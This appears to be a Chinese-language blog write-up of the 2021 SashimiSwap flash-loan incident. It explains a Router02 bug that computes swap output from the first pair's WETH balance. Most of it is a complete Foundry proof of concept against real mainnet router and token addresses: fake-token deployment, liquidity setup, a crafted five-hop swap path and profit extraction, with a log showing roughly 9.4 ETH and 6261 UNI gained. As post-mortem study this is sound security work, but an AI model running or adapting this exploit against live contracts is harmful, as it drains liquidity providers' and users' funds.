SashimiSwap Incident & POC

Chiu Lv4

1. 背景

21年12月,DEX SashimiSwap遭受闪电贷攻击,SashimiSwap是一个基于Uniswap V2 fork的交易所,攻击者通过闪电贷和构造特殊的swap路径,攻击了Router02合约中的swap逻辑漏洞。

2. 漏洞根本原因分析

2.1 Root cause

函数在计算输出量时,swap前后Router通过getTokenInPair(pair, WETH)获取交易对中WETH的余额来计算WETH变化,但它总是使用第一个pair的WETH记录,没有考虑到path中后续的pair

2.2 Contributing factors :

sashimi swap的router中心化管理所有pair的资产,且通过_pool[pair][token] 这样的虚拟余额映射来记录资产归属

1
2
mapping(address => mapping(address => uint)) 
private _pools;

转账方式:

直接转到address(this) (router合约) ,更新虚拟余额映射

1
2
3
4
function _transferIn(address from, address pair, address token, uint amount) internal {
TransferHelper.safeTransferFrom(token, from, address(this), amount);
_pools[pair][token] = _pools[pair][token].add(amount);
}

这种中心化设计模式使Router拥有过高的资金控制权,Router合约漏洞可以危害到资金池

2.3 核心漏洞位置

漏洞存在于SashimiSwap的Router02合约中的swapExactTokensForETHSupportingFeeOnTransferTokens函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) {
//
require(path[path.length - 1] == WETH, "UniswapV2Router: INVALID_PATH");

//开发者只考虑到了token换weth的单一pair路径,计算pair时只使用了path的第一对
address pair = UniswapV2Library.pairFor(factory, path[0], path[1]);

_transferIn(msg.sender, pair, path[0], amountIn);
uint balanceBefore = getTokenInPair(pair, WETH);
_swapSupportingFeeOnTransferTokens(path, address(this));
uint balanceAfter = getTokenInPair(pair, WETH);

//转给exp的weth数量为pair1内weth前后之差
uint amountOut = balanceBefore.sub(balanceAfter);

require(
amountOut >= amountOutMin,
"UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT"
);
_transferETH(to, amountOut);
}

中心化下正确的swap逻辑

在正常情况下,router应该以router自己的余额变化为准 swapExactTokensForETHSupportingFeeOnTransferTokens函数应该:

  • 记录swap前router的WETH余额(balanceBefore
  • 执行path上所有swap
  • 记录swap后router的WETH余额(balanceAfter
  • 计算router实际的WETH变化量:amountOut = balanceAfter - balanceBefore
  • router发给swap发起者amountOut量的ETH

2.4 漏洞利用

构造这样一个交易路径:

1
FakeToken1 → WETH → FakeToken2 → FakeToken3 → WETH
  • 存在校验,path最后一个token必须是WETH
  • 为了尽可能多地把注入的WETH留在可控的池子内,所以中间构造了两个[1 ether, 1 ether]的低流动性池子来留住WETH
  • 函数错误地使用第一个交易对(FakeToken1-WETH)的WETH余额变化来计算最终的ETH输出量

此时最后一步swap流出pair4的WETH很少(注:最后一个pair的swap不会把输出发给用户,而是发给router自己,也就是从pair的虚拟余额映射中移出)

而router基于第一个pair的WETH变化,计算出错误的输出量

结果就是router在攻击下会转给攻击者超额的token

Sashimi swap.png

3. 攻击过程详细分析

3.1 攻击准备阶段

3.1.1 闪电贷获取资金

1
2
3
4
// 从DVM池借入大量WETH
uint256 constant FLASH_LOAN_AMOUNT = 399639492413750733592 wei; // 约400 ETH
dvm.flashLoan(0, FLASH_LOAN_AMOUNT, address(this), data);

其中 150 WETH 用于换取 UNI ,此时这150WETH会进入 router 的余额

1
2
3
4
address[] memory path0 = new address[](2);
path0[0] = WETH;
path0[1] = UNI;
router.swapExactTokensForTokens(150 ether, 0, path0, address(this), block.timestamp);

router在transferOut时,如果自己余额不够会向vault提钱。但实际攻击时router与vault的流动性都不足以支付攻击者造成的资金缺口,所以攻击者自己通过一笔swap给router提供了150WETH,并通过攻击提了出来

3.1.2 部署假代币

攻击者部署了三个假代币合约:

  • FakeToken1 (FK1)
  • FakeToken2 (FK2)
  • FakeToken3 (FK3)

这些FakeToken有标准的ERC20功能,攻击者拥有无限供应量

3.2 流动性构建阶段

3.2.1 创建交易对

攻击者使用借来的WETH和假代币创建了多个交易对:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// WETH-FakeToken1对(大额流动性)
router.addLiquidity(
WETH,
address(fakeToken1),
247.6 ether,
247.6 ether,
0, 0, address(this), block.timestamp
);

// WETH-FakeToken2对
router.addLiquidity(
WETH, address(fakeToken2),
1 ether, 1 ether,
0, 0, address(this), block.timestamp
);

// WETH-FakeToken3对
router.addLiquidity(
WETH, address(fakeToken3),
1 ether, 1 ether,
0, 0, address(this), block.timestamp
);

// FakeToken2-FakeToken3对
router.addLiquidity(
address(fakeToken2), address(fakeToken3),
1 ether, 1 ether,
0, 0, address(this), block.timestamp
);

3.2.2 流动性配置

  • WETH-FakeToken1对:投入大量流动性(247.6 ETH),确保第一步交换时WETH余额变化显著
  • 其他交易对:投入少量流动性(1 ETH),控制后续交换的实际输出,将输入尽可能留在可控的池子内

3.3 漏洞利用阶段

3.3.1 构造攻击路径

1
2
3
4
5
6
7
address[] memory path = new address[](5);
path[0] = address(fakeToken1);
path[1] = WETH;
path[2] = address(fakeToken2);
path[3] = address(fakeToken3);
path[4] = WETH;

3.3.2 执行漏洞交易

1
2
3
4
5
6
7
8
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
457 ether, // 输入大量FakeToken1
0, // 最小输出为0
path, // 构造的交易路径
address(this), // swap后的接收地址为router
block.timestamp // 截止时间
);

3.3.3 Key points

  • 大量WETH留在攻击者控制的池子里
  • 函数错使用第一个交易对的WETH变化来计算最终输出
  • 攻击者获得了router发来的超额ETH,并可以撤回几个池子的流动性收回WETH

3.4 利润提取阶段

3.4.1 移除流动性

1
2
3
4
5
6
7
8
9
// 移除WETH-FakeToken1流动性
router.removeLiquidity(
WETH, address(fakeToken1),
liquidity1, 0, 0,
address(this), block.timestamp
);

// 移除其他流动性...

3.4.2 偿还闪电贷

1
2
3
// 偿还闪电贷本金
weth.transfer(DVM_POOL, quoteAmount);

3.4.3 提取利润

1
2
3
4
5
6
7
// 攻击合约将WETH转换为ETH并转给攻击者账户
uint256 wethBalance = weth.balanceOf(address(this));
if (wethBalance > 0) {
weth.withdraw(wethBalance);
payable(ATTACKER).transfer(address(this).balance);
}

4.1 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

contract FakeToken {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply = 0;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);

constructor(string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
// 给部署者铸造大量代币
_mint(msg.sender, type(uint256).max);
}

function _mint(address to, uint256 amount) internal {
totalSupply += amount;
balanceOf[to] += amount;
emit Transfer(address(0), to, amount);
}

function transfer(address to, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}

function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}

function transferFrom(address from, address to, uint256 amount) external returns (bool) {
if (msg.sender != address(this)) {
require(allowance[from][msg.sender] >= amount, "Insufficient allowance");
allowance[from][msg.sender] -= amount;
}
balanceOf[from] -= amount;
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
}



contract SashimiSwapAttacker is Test {
// 常量地址
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant UNI = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984;
address constant SASHIMI_ROUTER = 0xe4FE6a45f354E845F954CdDeE6084603CEDB9410;
address constant ATTACKER_EOA = 0xa8189407A37001260975b9dA61a81c3Bd9F55908;
address constant ATTACK_CONTRACT = 0x2cCc076d1de2d88209f491C679Fa5BDe870C384a;

// 合约变量
AttackContract public attackContract;
IUniswapV2Router02 public router;
IUniswapV2Factory public factory;
IWETH public weth;
IERC20 public uni;
function setUp() public {
vm.createSelectFork("mainnet", 13905777);

// 初始化合约实例
router = IUniswapV2Router02(SASHIMI_ROUTER);
factory = IUniswapV2Factory(router.factory());
weth = IWETH(WETH);
uni = IERC20(UNI);


// 模拟攻击者EOA部署攻击合约
vm.startPrank(ATTACKER_EOA);

attackContract = new AttackContract();

console.log("\nAttack contract deployed at:", address(attackContract));
console.log("Attack contract owner:", attackContract.owner());
}

function testExploit() public {
console.log("\n");
console.log("===============================");
console.log(" SASHIMI SWAP ATTACK ");
console.log("===============================\n");

console.log("=== Initial State ===");
console.log("Attack contract owner:", attackContract.owner());

console.log("\n=== Executing Attack ===");
uint256 ownerBalanceBefore = attackContract.owner().balance;
console.log("Owner balance before attack:", ownerBalanceBefore);
vm.deal(address(attackContract), 400 ether);
console.log("Attack contract after Flashloan:", address(attackContract).balance);

attackContract.start();

console.log("\n=== Attack Results ===");
uint256 ownerBalanceAfter = attackContract.owner().balance;
console.log("Owner balance after attack:", ownerBalanceAfter);
console.log("ETH profit for owner:", ownerBalanceAfter - ownerBalanceBefore, "ETH");
console.log("UNI profit in attack contract:", uni.balanceOf(address(attackContract)), "UNI");

console.log("\n");
console.log("========================================");
console.log(" ATTACK COMPLETED");
console.log("========================================");

vm.stopPrank();
}
}



// 真实攻击合约
contract AttackContract {
// 常量地址
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant UNI = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984;
address constant SASHIMI_ROUTER = 0xe4FE6a45f354E845F954CdDeE6084603CEDB9410;


address public owner;
FakeToken public fakeToken1;
FakeToken public fakeToken2;
FakeToken public fakeToken3;
IUniswapV2Router02 public router;
IUniswapV2Factory public factory;
IWETH public weth;
IERC20 public uni;


uint256 constant LIQUIDITY_AMOUNT = 1 ether;

constructor() {
owner = msg.sender;
console.log("owner:", owner);
// 初始化合约实例
router = IUniswapV2Router02(SASHIMI_ROUTER);
factory = IUniswapV2Factory(router.factory());
weth = IWETH(WETH);
uni = IERC20(UNI);


// 部署假代币
fakeToken1 = new FakeToken("Fake Token 1", "FK1");
fakeToken2 = new FakeToken("Fake Token 2", "FK2");
fakeToken3 = new FakeToken("Fake Token 3", "FK3");
}

modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}

// 启动攻击
function start() external {
executeAttack();
}


function executeAttack() internal {
console.log("\n=== Step 1: Initial Setup ===");
// 将ETH转换为WETH
weth.deposit{value: address(this).balance}();


uint256 initialWETH = weth.balanceOf(address(this));
console.log("Initial WETH balance after deposit:", initialWETH);

console.log("\n=== Swap WETH for UNI ===");
// 首先approve WETH给router
weth.approve(SASHIMI_ROUTER, 150 ether);

//将WETH兑换为UNI,把weth发给router
uint256 uniBalanceBefore = uni.balanceOf(address(this));
console.log("UNI balance before swap:", uniBalanceBefore);

address[] memory path1 = new address[](2);
path1[0] = WETH;
path1[1] = UNI;
router.swapExactTokensForTokens(150 ether, 0, path1, address(this), block.timestamp);

uint256 uniBalanceAfter = uni.balanceOf(address(this));
console.log("UNI balance after swap:", uniBalanceAfter);
console.log("UNI tokens received:", uniBalanceAfter - uniBalanceBefore);
console.log("WETH balance after UNI swap:", weth.balanceOf(address(this)));

// 批准Router使用WETH和假代币
weth.approve(SASHIMI_ROUTER, type(uint256).max);
fakeToken1.approve(SASHIMI_ROUTER, type(uint256).max);
fakeToken2.approve(SASHIMI_ROUTER, type(uint256).max);
fakeToken3.approve(SASHIMI_ROUTER, type(uint256).max);
console.log("Approved all tokens for SashimiSwap Router");

console.log("\n=== Step 2: Adding Liquidity to Create Trading Pairs ===");

// 添加流动性,创建交易对
console.log("Adding liquidity for WETH-FakeToken1 pair (247.6 ETH each)...");
router.addLiquidity(
WETH,
address(fakeToken1),
247.6 ether,
247.6 ether,
0, 0,
address(this),
block.timestamp
);

console.log("Adding liquidity for WETH-FakeToken2 pair (1 ETH each)...");
router.addLiquidity(
WETH,
address(fakeToken2),
LIQUIDITY_AMOUNT,
LIQUIDITY_AMOUNT,
0, 0,
address(this),
block.timestamp
);

console.log("Adding liquidity for WETH-FakeToken3 pair (1 ETH each)...");
router.addLiquidity(
WETH,
address(fakeToken3),
LIQUIDITY_AMOUNT,
LIQUIDITY_AMOUNT,
0, 0,
address(this),
block.timestamp
);

console.log("Adding liquidity for FakeToken2-FakeToken3 pair (1 token each)...");
router.addLiquidity(
address(fakeToken2),
address(fakeToken3),
LIQUIDITY_AMOUNT,
LIQUIDITY_AMOUNT,
0, 0,
address(this),
block.timestamp
);

uint256 wethAfterLiquidity = weth.balanceOf(address(this));
console.log("WETH balance after adding liquidity:", wethAfterLiquidity);
console.log("WETH used for liquidity:", initialWETH - wethAfterLiquidity);

console.log("\n=== Step 3: Exploiting the Vulnerability ===");

// 构造复杂交易路径,利用漏洞
address[] memory path = new address[](5);
path[0] = address(fakeToken1);
path[1] = WETH;
path[2] = address(fakeToken2);
path[3] = address(fakeToken3);
path[4] = WETH;

console.log("Swap path: FakeToken1 -> WETH -> FakeToken2 -> FakeToken3 -> WETH");
console.log("Input amount: 457 FakeToken1");

uint256 ethBeforeSwap = address(this).balance;
uint256 wethBeforeSwap = weth.balanceOf(address(this));
console.log("ETH balance before swap:", ethBeforeSwap);
console.log("WETH balance before swap:", wethBeforeSwap);

// 执行漏洞交易
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
457 ether,
0,
path,
address(this),
block.timestamp
);

uint256 ethAfterSwap = address(this).balance;
console.log("\nETH received from router:", ethAfterSwap - ethBeforeSwap);
console.log("Total ETH balance after swap:", ethAfterSwap);

// 将swap获得的ETH转换为WETH
if (address(this).balance > 0) {
weth.deposit{value: address(this).balance}();
}

uint256 wethAfterSwap = weth.balanceOf(address(this));
console.log("\nWETH balance after converting ETH:", wethAfterSwap);
console.log("Net WETH gained from exploit:", wethAfterSwap - wethBeforeSwap);

console.log("\n=== Step 4: Removing Liquidity ===");
uint256 wethBeforeRemoval = weth.balanceOf(address(this));
console.log("WETH balance before removing liquidity:", wethBeforeRemoval);

// 移除流动性
_removeLiquidity();

uint256 wethAfterRemoval = weth.balanceOf(address(this));
console.log("WETH balance after removing liquidity:", wethAfterRemoval);
console.log("WETH recovered from liquidity removal:", wethAfterRemoval - wethBeforeRemoval);

console.log("\n=== Step 5: Repay Flashloan ===");
uint256 wethBalance = weth.balanceOf(address(this));
weth.withdraw(wethBalance);
uint256 flashloan_amount = 400 ether;
uint256 balance_after_repay = wethBalance - flashloan_amount;
console.log("WETH balance after repayment:", balance_after_repay);

console.log("\n=== Step 6: Final Profit Extraction ===");
// 提取利润给owner
console.log("Convert WETH to ETH, final ETH balance:", balance_after_repay);
payable(owner).transfer(balance_after_repay);
console.log("Profit transferred to owner:", balance_after_repay);
}

function _removeLiquidity() internal {
address pair1 = factory.getPair(WETH, address(fakeToken1));
address pair2 = factory.getPair(WETH, address(fakeToken2));

console.log("Approving LP tokens for removal...");
IERC20(pair1).approve(SASHIMI_ROUTER, type(uint256).max);
IERC20(pair2).approve(SASHIMI_ROUTER, type(uint256).max);

if (pair1 != address(0)) {
console.log("\n--- Removing WETH-FakeToken1 Liquidity ---");
//查询池子里的reserves
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair1).getReserves();
address token0 = IUniswapV2Pair(pair1).token0();
address token1 = IUniswapV2Pair(pair1).token1();

// 确定哪个是WETH,哪个是FakeToken1
uint256 wethReserve;
uint256 fakeToken1Reserve;
if (token0 == WETH) {
wethReserve = reserve0;
fakeToken1Reserve = reserve1;
} else {
wethReserve = reserve1;
fakeToken1Reserve = reserve0;
}

console.log("WETH reserve in WETH-FakeToken1 pair:", wethReserve);
console.log("FakeToken1 reserve in WETH-FakeToken1 pair:", fakeToken1Reserve);

uint256 liquidity1 = IERC20(pair1).balanceOf(address(this));
console.log("Our LP tokens in WETH-FakeToken1 pair:", liquidity1);
if (liquidity1 > 0) {
router.removeLiquidity(
WETH,
address(fakeToken1),
liquidity1,
0, 0,
address(this),
block.timestamp
);
console.log("Successfully removed WETH-FakeToken1 liquidity");
}
}





// 移除WETH-FakeToken2流动性
if (pair2 != address(0)) {
console.log("\n--- Removing WETH-FakeToken2 Liquidity ---");
// 查询池子里的reserves
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair2).getReserves();
address token2 = IUniswapV2Pair(pair2).token0();
address token3 = IUniswapV2Pair(pair2).token1();

// 确定哪个是WETH,哪个是FakeToken2
uint256 wethReserve;
uint256 fakeToken2Reserve;
if (token2 == WETH) {
wethReserve = reserve0;
fakeToken2Reserve = reserve1;
} else {
wethReserve = reserve1;
fakeToken2Reserve = reserve0;
}

console.log("WETH reserve in WETH-FakeToken2 pair:", wethReserve);
console.log("FakeToken2 reserve in WETH-FakeToken2 pair:", fakeToken2Reserve);

uint256 liquidity2 = IERC20(pair2).balanceOf(address(this));
console.log("Our LP tokens in WETH-FakeToken2 pair:", liquidity2);
if (liquidity2 > 0) {
router.removeLiquidity(
WETH,
address(fakeToken2),
liquidity2,
0, 0,
address(this),
block.timestamp
);
console.log("Successfully removed WETH-FakeToken2 liquidity");
}
}
}

// 接收ETH
receive() external payable {}
}

4.2 POC log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
Logs:
owner: 0xa8189407A37001260975b9dA61a81c3Bd9F55908

Attack contract deployed at: 0x7929F4465A1BB2057f4626c983B9e076E68A5cce
Attack contract owner: 0xa8189407A37001260975b9dA61a81c3Bd9F55908

========================================
SASHIMI SWAP ATTACK SIMULATION
========================================

=== Initial State ===
Attack contract owner: 0xa8189407A37001260975b9dA61a81c3Bd9F55908

=== Executing Attack ===
//攻击前的EOA余额
Owner balance before attack: 12962074252980191969 // ~12.96 ETH
//合约闪电贷借来400ETH
Attack contract after Flashloan: 400000000000000000000 // ~400 ETH

=== Step 1: Initial Setup ===
Initial WETH balance after deposit: 400000000000000000000

=== Swap WETH for UNI ===
UNI balance before swap: 0
UNI balance after swap: 6261304335558458817700 // ~6261.3 UNI
UNI tokens received: 6261304335558458817700
WETH balance after UNI swap: 250000000000000000000
Approved all tokens for SashimiSwap Router

=== Step 2: Adding Liquidity to Create Trading Pairs ===
Adding liquidity for WETH-FakeToken1 pair (247.6 token each)...
Adding liquidity for WETH-FakeToken2 pair (1 token each)...
Adding liquidity for WETH-FakeToken3 pair (1 token each)...
Adding liquidity for FakeToken2-FakeToken3 pair (1 token each)...
WETH balance after adding liquidity: 400000000000000000 //0.4 WETH
WETH used for liquidity: 399600000000000000000

=== Step 3: Exploiting the Vulnerability ===
Swap path: FakeToken1 -> WETH -> FakeToken2 -> FakeToken3 -> WETH
Input amount: 457 FakeToken1
ETH balance before swap: 0
WETH balance before swap: 400000000000000000 //0.4 WETH

ETH received from router: 160422480301580281814
WETH balance after converting ETH: 160822480301580281814

=== Step 4: Removing Liquidity ===
WETH balance before removing liquidity: 160822480301580281814
Approving LP tokens for removal...

--- Removing WETH-FakeToken1 Liquidity ---
WETH reserve in WETH-FakeToken1 pair: 87177519698419718186
FakeToken1 reserve in WETH-FakeToken1 pair: 704600000000000000000
Our LP tokens in WETH-FakeToken1 pair: 247599999999999999000
Successfully removed WETH-FakeToken1 liquidity

--- Removing WETH-FakeToken2 Liquidity ---
WETH reserve in WETH-FakeToken2 pair: 161422480301580281814
FakeToken2 reserve in WETH-FakeToken2 pair: 6213448887487169
Our LP tokens in WETH-FakeToken2 pair: 999999999999999000
Successfully removed WETH-FakeToken2 liquidity
WETH balance after removing liquidity: 409422480301580120038
WETH recovered from liquidity removal: 248599999999999838224

=== Step 5: Repay Flashloan ===
WETH balance after repayment: 9422480301580120038 // ~9.42 ETH

=== Step 6: Final Profit Extraction ===
Convert WETH to ETH, final ETH balance: 9422480301580120038
Profit transferred to owner: 9422480301580120038

=== Attack Results ===
Owner balance after attack: 22384554554560312007 // ~22.38 ETH
ETH profit for owner: 9422480301580120038 ETH
UNI profit in attack contract: 6261304335558458817700 UNI

========================================
ATTACK COMPLETED
========================================

  • Title: SashimiSwap Incident & POC
  • Author: Chiu
  • Created at : 2025-06-20 10:36:41
  • Updated at : 2025-07-15 18:25:08
  • Link: https://github.com/Idealist17/github.io/2025/06/20/Sashimi Swap Incident & POC/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments